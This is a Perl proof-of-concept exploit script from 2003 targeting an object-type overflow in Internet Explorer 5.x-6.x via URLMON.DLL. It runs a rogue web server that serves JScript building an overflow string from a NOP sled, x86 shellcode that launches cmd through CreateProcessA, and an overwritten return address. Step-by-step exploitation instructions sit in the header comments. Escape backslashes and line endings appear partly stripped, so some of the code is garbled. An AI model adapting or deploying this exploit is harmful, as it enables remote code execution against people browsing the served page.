#!/usr/bin/perl

#
#  Proof of concept exploit on IE 5.x - 6.x by Alumni
#  IE-Object longtype dynamic call oferflow
#
#  url://<$shellcode><'/'x48><jmp %ptr_sh>
#  the flaw actually exists in URLMON.DLL when converting backslashes
#  to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'.
#	
#  To exploit:  i)  start server perl script;
#	     ii) connect to http-service using IE/5.x.
#                   a) the shellcode size is limited up to 56 bytes;
#	     b) the '$ret' may differ as well as the image base of KERNEL32.DLL;
#	     c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript.
#

use IO::Socket;

$port = 80;
$server = IO::Socket::INET->new (LocalPort => $port,
				Type =>SOCK_STREAM,
				Reuse => 1,
				Listen => $port) or die("Couldnt't create 
server socketn");


$shellcode = 	"x33xdb".		# xor ebx, ebx
		"x8bxd4".		# mov edx, esp
		"x80xc6xff".		# add dh, 0xFF
		"xc7x42xfcx63x6d".	# mov dword ptr[edx-4], 0x01646D63 
("cmdx01")
		"x64x01".		#
		"x88x5axff".		# mov byte ptr[edx-1], bl
		"x8dx42xfc".		# lea eax, [edx-4]
		"x8bxf5".		# mov esi, ebp
		"x56x52".		# push esi; push edx
		"x53x53x53x53x53x53".	# push ebx
		"x50x53".		# push eax; push ebx
		"xb8x41x77xf7xbf".	# mov eax, 0xBFF77741 ~= 
CreateProcessA
		"xffxd0".		# call eax
		"xb8xf8xd4xf8xbf".	# mov eax, 0xBFF8D4F8 ~= 
ExitProcess
		"xffxd0".		# call eax
		"xcc";			# int 3

$nop = "x90";
$ret = "\xAB\x5D\x58";


while ($client = $server->accept()) {
	while (<$client>) {
		if ($_ =~ /^(x0Dx0A)/) {

print $client <<END_DATA;
HTTP/1.0 200 Okr
Content-Type: text/htmlr
r
&lt;script&gt;r
	var mins = 56;r
	var size = 48;r
	var sploit = "$shellcode";r
	var strNop = "$nop";r
	var strObj = '&lt;object type="';r
	for (i=0;i<mins-sploit.length;i++) strObj += strNop;r
	strObj += sploit;r
	for (i=0;i<size;i++) strObj += '/';r
	strObj += "CCCCCCCCDDDDDDDD";r
	strObj += "$ret";r
	strObj += '">Hello&lt;/object&gt;';r
	alert(strObj);r
	document.write(strObj);r
&lt;/script&gt;r
END_DATA
			close($client);

		}
	}
}

close($server);

# www.Syue.com [2003-06-07]